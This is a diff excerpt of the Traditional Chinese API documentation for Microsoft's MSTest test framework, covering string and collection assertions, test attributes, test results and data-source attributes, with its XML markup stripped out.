字串預期為下者的字尾: 。 - - - Thrown if does not end with - . - - - - - 測試指定的字串結尾是否為指定的子字串, - 並在測試字串的結尾不是子字串時 - 擲回例外狀況。 - - - 字串預期結尾為 。 - - - 字串預期為下者的字尾: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 的結尾不是 。訊息會顯示在 - 測試結果中。 - - - Thrown if does not end with - . - - - - - 測試指定的字串結尾是否為指定的子字串, - 並在測試字串的結尾不是子字串時 - 擲回例外狀況。 - - - 字串預期結尾為 。 - - - 字串預期為下者的字尾: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 的結尾不是 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if does not end with - . - - - - - 測試指定的字串是否符合規則運算式, - 並在字串不符合運算式時擲回例外狀況。 - - - 預期符合下者的字串: 。 - - - 規則運算式, - 預期相符。 - - - Thrown if does not match - . - - - - - 測試指定的字串是否符合規則運算式, - 並在字串不符合運算式時擲回例外狀況。 - - - 預期符合下者的字串: 。 - - - 規則運算式, - 預期相符。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不符合 。訊息會顯示在 - 測試結果中。 - - - Thrown if does not match - . - - - - - 測試指定的字串是否符合規則運算式, - 並在字串不符合運算式時擲回例外狀況。 - - - 預期符合下者的字串: 。 - - - 規則運算式, - 預期相符。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不符合 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if does not match - . - - - - - 測試指定的字串是否不符合規則運算式, - 並在字串符合運算式時擲回例外狀況。 - - - 預期不符合下者的字串: 。 - - - 規則運算式, - 預期不相符。 - - - Thrown if matches . - - - - - 測試指定的字串是否不符合規則運算式, - 並在字串符合運算式時擲回例外狀況。 - - - 預期不符合下者的字串: 。 - - - 規則運算式, - 預期不相符。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 符合 。訊息會顯示在 - 測試結果中。 - - - Thrown if matches . - - - - - 測試指定的字串是否不符合規則運算式, - 並在字串符合運算式時擲回例外狀況。 - - - 預期不符合下者的字串: 。 - - - 規則運算式, - 預期不相符。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 符合 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if matches . - - - - - 要測試與單元測試內集合相關聯之各種條件的 - 協助程式類別集合。如果不符合正在測試的條件, - 則會擲回例外狀況。 - - - - - 取得 CollectionAssert 功能的單一執行個體。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 測試指定的集合是否包含指定的元素, - 並在元素不在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期在集合中的元素。 - - - Thrown if is not found in - . - - - - - 測試指定的集合是否包含指定的元素, - 並在元素不在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期在集合中的元素。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未位於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not found in - . - - - - - 測試指定的集合是否包含指定的元素, - 並在元素不在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期在集合中的元素。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未位於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not found in - . - - - - - 測試指定的集合是否未包含指定的元素, - 並在元素在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期不在集合中的元素。 - - - Thrown if is found in - . - - - - - 測試指定的集合是否未包含指定的元素, - 並在元素在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期不在集合中的元素。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 位於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is found in - . - - - - - 測試指定的集合是否未包含指定的元素, - 並在元素在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期不在集合中的元素。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 位於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is found in - . - - - - - 測試所指定集合中的所有項目是否都為非 null,並在有任何元素為 null 時 - 擲回例外狀況。 - - - 要在其中搜尋 null 元素的集合。 - - - Thrown if a null element is found in . - - - - - 測試所指定集合中的所有項目是否都為非 null,並在有任何元素為 null 時 - 擲回例外狀況。 - - - 要在其中搜尋 null 元素的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含 null 元素。訊息會顯示在測試結果中。 - - - Thrown if a null element is found in . - - - - - 測試所指定集合中的所有項目是否都為非 null,並在有任何元素為 null 時 - 擲回例外狀況。 - - - 要在其中搜尋 null 元素的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含 null 元素。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if a null element is found in . - - - - - 測試所指定集合中的所有項目是否都是唯一的, - 並在集合中的任兩個元素相等時擲回例外狀況。 - - - 在其中搜尋重複元素的集合。 - - - Thrown if a two or more equal elements are found in - . - - - - - 測試所指定集合中的所有項目是否都是唯一的, - 並在集合中的任兩個元素相等時擲回例外狀況。 - - - 在其中搜尋重複元素的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含至少一個重複元素。訊息會顯示在 - 測試結果中。 - - - Thrown if a two or more equal elements are found in - . - - - - - 測試所指定集合中的所有項目是否都是唯一的, - 並在集合中的任兩個元素相等時擲回例外狀況。 - - - 在其中搜尋重複元素的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含至少一個重複元素。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if a two or more equal elements are found in - . - - - - - 測試其中一個集合是否為另一個集合的子集, - 並在子集中的任何元素也不在超集中時擲回 - 例外狀況。 - - - 集合預期為下者的子集: 。 - - - 集合預期為下者的超集: - - - Thrown if an element in is not found in - . - - - - - 測試其中一個集合是否為另一個集合的子集, - 並在子集中的任何元素也不在超集中時擲回 - 例外狀況。 - - - 集合預期為下者的子集: 。 - - - 集合預期為下者的超集: - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的元素: - 在下者中找不到: 。 - 訊息會顯示在測試結果中。 - - - Thrown if an element in is not found in - . - - - - - 測試其中一個集合是否為另一個集合的子集, - 並在子集中的任何元素也不在超集中時擲回 - 例外狀況。 - - - 集合預期為下者的子集: 。 - - - 集合預期為下者的超集: - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的元素: - 在下者中找不到: 。 - 訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if an element in is not found in - . - - - - - 測試其中一個集合是否不為另一個集合的子集, - 並在子集中的所有元素也都在超集中時擲回 - 例外狀況。 - - - 集合預期不為下者的子集: 。 - - - 集合預期不為下者的超集: - - - Thrown if every element in is also found in - . - - - - - 測試其中一個集合是否不為另一個集合的子集, - 並在子集中的所有元素也都在超集中時擲回 - 例外狀況。 - - - 集合預期不為下者的子集: 。 - - - 集合預期不為下者的超集: - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的每個元素: - 也會在下者中找到: 。 - 訊息會顯示在測試結果中。 - - - Thrown if every element in is also found in - . - - - - - 測試其中一個集合是否不為另一個集合的子集, - 並在子集中的所有元素也都在超集中時擲回 - 例外狀況。 - - - 集合預期不為下者的子集: 。 - - - 集合預期不為下者的超集: - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的每個元素: - 也會在下者中找到: 。 - 訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if every element in is also found in - . - - - - - 測試兩個集合是否包含相同元素, - 並在任一集合包含不在其他集合中的元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試所預期的 - 元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 測試兩個集合是否包含相同元素, - 並在任一集合包含不在其他集合中的元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試所預期的 - 元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在其中一個集合中找到元素但在另一個集合中找不到元素時 - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 測試兩個集合是否包含相同元素, - 並在任一集合包含不在其他集合中的元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試所預期的 - 元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在其中一個集合中找到元素但在另一個集合中找不到元素時 - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 測試兩個集合是否包含不同元素,並在兩個集合 - 包含不管順序的相同元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試預期與實際集合 - 不同的元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 測試兩個集合是否包含不同元素,並在兩個集合 - 包含不管順序的相同元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試預期與實際集合 - 不同的元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含與下者相同的元素: 。訊息 - 會顯示在測試結果中。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 測試兩個集合是否包含不同元素,並在兩個集合 - 包含不管順序的相同元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試預期與實際集合 - 不同的元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含與下者相同的元素: 。訊息 - 會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 測試所指定集合中的所有元素是否為預期類型的執行個體, - 並在預期類型不在一或多個元素的繼承階層中時 - 擲回例外狀況。 - - - 包含測試預期為所指定類型之元素 - 的集合。 - - - 下者的每個元素的預期類型: 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 測試所指定集合中的所有元素是否為預期類型的執行個體, - 並在預期類型不在一或多個元素的繼承階層中時 - 擲回例外狀況。 - - - 包含測試預期為所指定類型之元素 - 的集合。 - - - 下者的每個元素的預期類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的元素: - 不是下者的執行個體: - 。訊息會顯示在測試結果中。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 測試所指定集合中的所有元素是否為預期類型的執行個體, - 並在預期類型不在一或多個元素的繼承階層中時 - 擲回例外狀況。 - - - 包含測試預期為所指定類型之元素 - 的集合。 - - - 下者的每個元素的預期類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的元素: - 不是下者的執行個體: - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 參數陣列,使用時機為格式 。 - - - Thrown if is equal to . - - - - - 判斷第一個集合是否為第二個集合的子集。 - 如果任一個集合包含重複的元素,則元素 - 在子集中的出現次數必須小於或 - 等於在超集中的出現次數。 - - - 測試預期包含在下者中的集合: 。 - - - 測試預期包含下者的集合: 。 - - - True 的情況為 是下者的子集: - ,否則為 false。 - - - - - 建構字典,內含每個元素在所指定集合中 - 的出現次數。 - - - 要處理的集合。 - - - 集合中的 null 元素數目。 - - - 包含每個元素在所指定集合內之出現次數 - 的字典。 - - - - - 尋找兩個集合之間不相符的元素。不相符的元素 - 為出現在預期集合中的次數 - 不同於它在實際集合中出現的次數。 - 集合假設為具有數目相同之元素的不同非 null 參考。 - 呼叫者負責這個層級的驗證。 - 如果沒有不相符的元素,則函數會傳回 false, - 而且不應該使用 out 參數。 - - - 要比較的第一個集合。 - - - 要比較的第二個集合。 - - - 下者的預期出現次數: - 或 0 (如果沒有不相符的 - 元素)。 - - - 下者的實際出現次數: - 或 0 (如果沒有不相符的 - 元素)。 - - - 不相符的元素 (可能為 null) 或 null (如果沒有 - 不相符的元素)。 - - - 如果找到不相符的元素,則為 true,否則為 false。 - - - - - 使用 object.Equals 來比較物件 - - - - - 架構例外狀況的基底類別。 - - - - - 初始化 類別的新執行個體。 - - - - - 初始化 類別的新執行個體。 - - 訊息。 - 例外狀況。 - - - - 初始化 類別的新執行個體。 - - 訊息。 - - - - 強型別資源類別,用於查詢當地語系化字串等。 - - - - - 傳回這個類別所使用的快取的 ResourceManager 執行個體。 - - - - - 針對使用這個強型別資源類別的所有資源查閱, - 覆寫目前執行緒的 CurrentUICulture 屬性。 - - - - - 查閱與「存取字串有無效的語法。」類似的當地語系化字串。 - - - - - 查閱與「預期在集合中包含 {1} 項 <{2}>,但實際的集合卻有 {3} 項。{0}」類似的當地語系化字串。 - - - - - 查閱與「找到重複的項目:<{1}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期:<{1}>。大小寫與下列實際值不同:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期值 <{1}> 和實際值 <{2}> 之間的預期差異不大於 <{3}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期:<{1} ({2})>。實際:<{3} ({4})>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期:<{1}>。實際:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期值 <{1}> 和實際值 <{2}> 之間的預期差異大於 <{3}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期任何值 (<{1}> 除外)。實際:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「不要將實值型別傳遞給 AreSame()。轉換成 Object 的值從此不再一樣。請考慮使用 AreEqual()。{0}」類似的當地語系化字串。 - - - - - 查閱與「{0} 失敗。{1}」類似的當地語系化字串。 - - - - - 不支援查詢類似非同步處理 TestMethod 與 UITestMethodAttribute 的當地語系化字串。移除非同步處理或使用 TestMethodAttribute。 - - - - - 查閱與「兩個集合都是空的。{0}」類似的當地語系化字串。 - - - - - 查閱與「兩個集合含有相同的元素。」類似的當地語系化字串。 - - - - - 查閱與「兩個集合參考都指向同一個集合物件。{0}」類似的當地語系化字串。 - - - - - 查閱與「兩個集合含有相同的元素。{0}」類似的當地語系化字串。 - - - - - 查閱與「{0}({1})」類似的當地語系化字串。 - - - - - 查閱與「(null)」類似的當地語系化字串。 - - - - - 查閱與「(物件)」類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 未包含字串 '{1}'。{2}。」類似的當地語系化字串。 - - - - - 查閱與「{0}({1})」類似的當地語系化字串。 - - - - - 查閱與「Assert.Equals 不應使用於判斷提示。請改用 Assert.AreEqual 及多載。」類似的當地語系化字串。 - - - - - 查閱與「集合中的元素數目不符。預期:<{1}>。實際:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「位於索引 {0} 的元素不符。」類似的當地語系化字串。 - - - - - 查閱與「位於索引 {1} 的項目不是預期的類型。預期的類型:<{2}>。實際的類型:<{3}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「位於索引 {1} 的元素是 (null)。預期的類型:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 不是以字串 '{1}' 結尾。{2}。」類似的當地語系化字串。 - - - - - 查閱與「無效的引數 - EqualsTester 無法使用 null。」類似的當地語系化字串。 - - - - - 查閱與「無法將 {0} 類型的物件轉換為 {1}。」類似的當地語系化字串。 - - - - - 查閱與「所參考的內部物件已不再有效。」類似的當地語系化字串。 - - - - - 查閱與「參數 '{0}' 無效。{1}。」類似的當地語系化字串。 - - - - - 查閱與「屬性 {0} 具有類型 {1}; 預期為類型 {2}。」類似的當地語系化字串。 - - - - - 查閱與「{0} 預期的類型:<{1}>。實際的類型:<{2}>。」類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 與模式 '{1}' 不符。{2}。」類似的當地語系化字串。 - - - - - 查閱與「錯誤的類型:<{1}>。實際的類型:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 與模式 '{1}' 相符。{2}。」類似的當地語系化字串。 - - - - - 查閱與「未指定 DataRowAttribute。至少一個 DataRowAttribute 必須配合 DataTestMethodAttribute 使用。」類似的當地語系化字串。 - - - - - 查閱與「未擲回任何例外狀況。預期為 {1} 例外狀況。{0}」類似的當地語系化字串。 - - - - - 查閱與「參數 '{0}' 無效。值不能為 null。{1}。」類似的當地語系化字串。 - - - - - 查閱與「元素數目不同。」類似的當地語系化字串。 - - - - - 查閱與「找不到具有所指定簽章的建構函式。 - 您可能必須重新產生私用存取子,或者該成員可能為私用, - 並且定義在基底類別上。如果是後者,您必須將定義 - 該成員的類型傳送至 PrivateObject 的建構函式。」 - 類似的當地語系化字串。 - - - - - 查閱與「找不到所指定的成員 ({0})。 - 您可能必須重新產生私用存取子, - 或者該成員可能為私用,並且定義在基底類別上。如果是後者,您必須將定義該成員的類型 - 傳送至 PrivateObject 的建構函式。」 - 類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 不是以字串 '{1}' 開頭。{2}。」類似的當地語系化字串。 - - - - - 查閱與「預期的例外狀況類型必須是 System.Exception 或衍生自 System.Exception 的類型。」類似的當地語系化字串。 - - - - - 查閱與「(由於發生例外狀況,所以無法取得 {0} 類型之例外狀況的訊息。)」類似的當地語系化字串。 - - - - - 查閱與「測試方法未擲回預期的例外狀況 {0}。{1}」類似的當地語系化字串。 - - - - - 查閱與「測試方法未擲回例外狀況。測試方法上定義的屬性 {0} 需要例外狀況。」類似的當地語系化字串。 - - - - - 查閱與「測試方法擲回例外狀況 {0},但是需要的是例外狀況 {1}。例外狀況訊息: {2}」類似的當地語系化字串。 - - - - - 查閱與「測試方法擲回例外狀況 {0},但是需要的是例外狀況 {1} 或由它衍生的類型。例外狀況訊息: {2}」類似的當地語系化字串。 - - - - - 查閱與「擲回例外狀況 {2},但需要的是例外狀況 {1}。{0} - 例外狀況訊息: {3} - 堆疊追蹤: {4}」類似的當地語系化字串。 - - - - - 單元測試結果 - - - - - 已執行測試,但發生問題。 - 問題可能包含例外狀況或失敗的判斷提示。 - - - - - 測試已完成,但是無法指出成功還是失敗。 - 可能用於已中止測試。 - - - - - 已執行測試且沒有任何問題。 - - - - - 目前正在執行測試。 - - - - - 嘗試執行測試時發生系統錯誤。 - - - - - 測試逾時。 - - - - - 使用者已中止測試。 - - - - - 測試處於未知狀態 - - - - - 提供單元測試架構的協助程式功能 - - - - - 遞迴地取得例外狀況訊息 (包含所有內部例外狀況 - 的訊息) - - 要為其取得訊息的例外狀況 - 含有錯誤訊息資訊的字串 - - - - 逾時的列舉,可以與 類別搭配使用。 - 列舉的類型必須相符 - - - - - 無限。 - - - - - 測試類別屬性。 - - - - - 取得可讓您執行此測試的測試方法屬性。 - - 此方法上所定義的測試方法屬性執行個體。 - 要用來執行此測試。 - Extensions can override this method to customize how all methods in a class are run. - - - - 測試方法屬性。 - - - - - 執行測試方法。 - - 要執行的測試方法。 - 代表測試結果的 TestResult 物件陣列。 - Extensions can override this method to customize running a TestMethod. - - - - 測試初始化屬性。 - - - - - 測試清除屬性。 - - - - - Ignore 屬性。 - - - - - 測試屬性 (property) 屬性 (attribute)。 - - - - - 初始化 類別的新執行個體。 - - - 名稱。 - - - 值。 - - - - - 取得名稱。 - - - - - 取得值。 - - - - - 類別會將屬性初始化。 - - - - - 類別清除屬性。 - - - - - 組件會將屬性初始化。 - - - - - 組件清除屬性。 - - - - - 測試擁有者 - - - - - 初始化 類別的新執行個體。 - - - 擁有者。 - - - - - 取得擁有者。 - - - - - Priority 屬性; 用來指定單元測試的優先順序。 - - - - - 初始化 類別的新執行個體。 - - - 優先順序。 - - - - - 取得優先順序。 - - - - - 測試描述 - - - - - 初始化 類別的新執行個體來描述測試。 - - 描述。 - - - - 取得測試的描述。 - - - - - CSS 專案結構 URI - - - - - 初始化用於 CSS 專案結構 URI 之 類別的新執行個體。 - - CSS 專案結構 URI。 - - - - 取得 CSS 專案結構 URI。 - - - - - CSS 反覆項目 URI - - - - - 初始化用於 CSS 反覆項目 URI 之 類別的新執行個體。 - - CSS 反覆項目 URI。 - - - - 取得 CSS 反覆項目 URI。 - - - - - 工作項目屬性; 用來指定與這個測試相關聯的工作項目。 - - - - - 初始化用於工作項目屬性之 類別的新執行個體。 - - 工作項目的識別碼。 - - - - 取得建立關聯之工作項目的識別碼。 - - - - - Timeout 屬性; 用來指定單元測試的逾時。 - - - - - 初始化 類別的新執行個體。 - - - 逾時。 - - - - - 初始化具有預設逾時之 類別的新執行個體 - - - 逾時 - - - - - 取得逾時。 - - - - - 要傳回給配接器的 TestResult 物件。 - - - - - 初始化 類別的新執行個體。 - - - - - 取得或設定結果的顯示名稱。適用於傳回多個結果時。 - 如果為 null,則使用「方法名稱」當成 DisplayName。 - - - - - 取得或設定測試執行的結果。 - - - - - 取得或設定測試失敗時所擲回的例外狀況。 - - - - - 取得或設定測試程式碼所記錄之訊息的輸出。 - - - - - 取得或設定測試程式碼所記錄之訊息的輸出。 - - - - - 透過測試程式碼取得或設定偵錯追蹤。 - - - - - Gets or sets the debug traces by test code. - - - - - 取得或設定測試執行的持續時間。 - - - - - 取得或設定資料來源中的資料列索引。僅針對個別執行資料驅動測試之資料列 - 的結果所設定。 - - - - - 取得或設定測試方法的傳回值 (目前一律為 null)。 - - - - - 取得或設定測試所附加的結果檔案。 - - - - - 指定連接字串、表格名稱和資料列存取方法來進行資料驅動測試。 - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - 資料來源的預設提供者名稱。 - - - - - 預設資料存取方法。 - - - - - 初始化 類別的新執行個體。將使用資料提供者、連接字串、運算列表和資料存取方法將這個執行個體初始化,以存取資料來源。 - - 非變異資料提供者名稱 (例如 System.Data.SqlClient) - - 資料提供者特定連接字串。 - 警告: 連接字串可能會包含敏感性資料 (例如,密碼)。 - 連接字串是以純文字形式儲存在原始程式碼中和編譯的組件中。 - 限制對原始程式碼和組件的存取,以保護這項機密資訊。 - - 運算列表的名稱。 - 指定資料的存取順序。 - - - - 初始化 類別的新執行個體。此執行個體將使用連接字串和表格名稱進行初始化。 - 指定連接字串和運算列表以存取 OLEDB 資料來源。 - - - 資料提供者特定連接字串。 - 警告: 連接字串可能會包含敏感性資料 (例如,密碼)。 - 連接字串是以純文字形式儲存在原始程式碼中和編譯的組件中。 - 限制對原始程式碼和組件的存取,以保護這項機密資訊。 - - 運算列表的名稱。 - - - - 初始化 類別的新執行個體。將使用與設定名稱相關聯的資料提供者和連接字串將這個執行個體初始化。 - - 在 app.config 檔案的 <microsoft.visualstudio.qualitytools> 區段中找到資料來源名稱。 - - - - 取得值,代表資料來源的資料提供者。 - - - 資料提供者名稱。如果未在物件初始化時指定資料提供者,將會傳回 System.Data.OleDb 的預設提供者。 - - - - - 取得值,代表資料來源的連接字串。 - - - - - 取得值,指出提供資料的表格名稱。 - - - - - 取得用來存取資料來源的方法。 - - - - 下列其中之一: 值。如果 未進行初始化,則這會傳回預設值 。 - - - - - 取得在 app.config 檔案 <microsoft.visualstudio.qualitytools> 區段中找到的資料來源名稱。 - - - - - 可在其中內嵌指定資料之資料驅動測試的屬性。 - - - - - 尋找所有資料列,並執行。 - - - 測試「方法」。 - - - 下列項目的陣列: 。 - - - - - 執行資料驅動測試方法。 - - 要執行的測試方法。 - 資料列。 - 執行結果。 - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.XML b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.XML deleted file mode 100644 index 2fcd437d..00000000 --- 